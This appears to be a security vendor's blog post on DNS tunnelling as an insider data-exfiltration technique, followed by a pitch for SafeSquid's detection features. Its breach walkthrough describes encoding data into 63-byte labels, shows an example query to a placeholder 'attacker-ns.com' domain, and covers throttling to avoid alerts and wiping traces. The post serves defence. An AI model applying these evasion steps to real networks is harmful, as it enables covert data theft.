Skip to main content

DNS Tunnelling: The Insider’s Invisible Exit Route

· 3 min read

Legacy Defences: Blind to the Host Resolver​

Think of DNS as the Internet’s postal code system—so essential that security tools wave every DNS packet through without a second glance. Firewalls, SWGs, and DLPs focus on HTTP, SMTP, or file uploads; DNS, meanwhile, is often relegated to a simple port‑53 allow rule. Since every system needs to resolve domains, attacks ride the same highway. Modern attackers exploit that blind faith by smuggling sensitive data out of the network, byte by byte, inside those same look‑up requests. Traditional tools log the destination (the authoritative name server) but rarely the payload: encoded data buried in the query string itself.

Definition – DNS Tunnelling: The technique of embedding arbitrary data within DNS request/response fields to bypass network controls and exfiltrate information covertly.

Anatomy of a DNS‑Tunnel Breach​

1 Insider Preparation: Packing the Payload​

A disgruntled administrator harvests customer records, compresses them, and hands them to a browser‑based JavaScript dropper. The script base32‑encodes the zip and slices it into 63‑byte chunks—the maximum label length allowed by DNS.

2 Covert Dispatch: Query Storm​

For each chunk, the script fires a DNS request like:

<63‑byte‑chunk>.001.salesdump.attacker‑ns.com

Each label looks random yet fully RFC‑compliant. The local resolver forwards the query through the corporate DNS hierarchy—no firewall rule violated.

3 Stealth Transit: Slipping Past Controls​

Because DNS is nearly always allowed outbound, and many security stacks don’t enable deep‑packet inspection for UDP/53, the traffic blends in. Volumetric anomalies go unnoticed because the attacker throttles to < 30 QPS, matching a chatty SaaS client.

4 Reconstruction: The Name‑Server Collector​

At the authoritative domain attacker‑ns.com, a self‑hosted resolver logs each subdomain, decodes the chunks, reassembles the zip, and writes customers.zip to disk. To the outside world, it looks like normal DNS traffic.

5 Cover & Exit: Log Evaporation​

After exfiltration completes, the insider wipes browser cache and timestamp gaps. DNS logs may exist, but without alerting thresholds or subdomain parsing, the breach hides in plain sight.

Collateral Impact & Risk​

DNS tunnelling leaks the crown jewels without tripping file‑transfer alarms. Regulatory fines, brand damage, and incident‑response costs escalate once data surfaces on the dark web—yet root‑cause analysis often lags because DNS logs were never parsed in depth.

SafeSquid’s Anti‑DNS‑Tunnelling Measures​

SafeSquid treats DNS with the same scrutiny as HTTP:

  • Category‑Based Allow Listing – Only permits DNS queries resolving to sanctioned business categories; look‑ups for uncategorised or risky domains are blocked by default.

  • Query‑Rate Thresholds – Flags hosts exceeding a configurable QPS, halting high‑volume tunnelling attempts while sparing normal browsing.

  • Subdomain Length Enforcement – Rejects queries whose label exceeds a set byte length (e.g., 50 bytes), thwarting payload encoding tricks.

  • Entropy & Pattern Analysis – Detects base32/base64 patterns in labels and quarantines traffic for review.

  • Real‑Time Alerts – Generates SIEM‑ready violation reports whenever thresholds trigger, enabling rapid insider‑threat response.

Legitimate resolution—Microsoft updates, CDN sharding, SaaS APIs—flows uninterrupted; covert tunnels hit a brick wall.

Conclusion​

DNS was designed for trust and speed, not secrecy checks. Insiders weaponise that trust to siphon data under the radar. By enforcing category controls and payload‑aware analytics, SafeSquid turns the DNS highway into a monitored gate—stopping tunnels without breaking the Internet.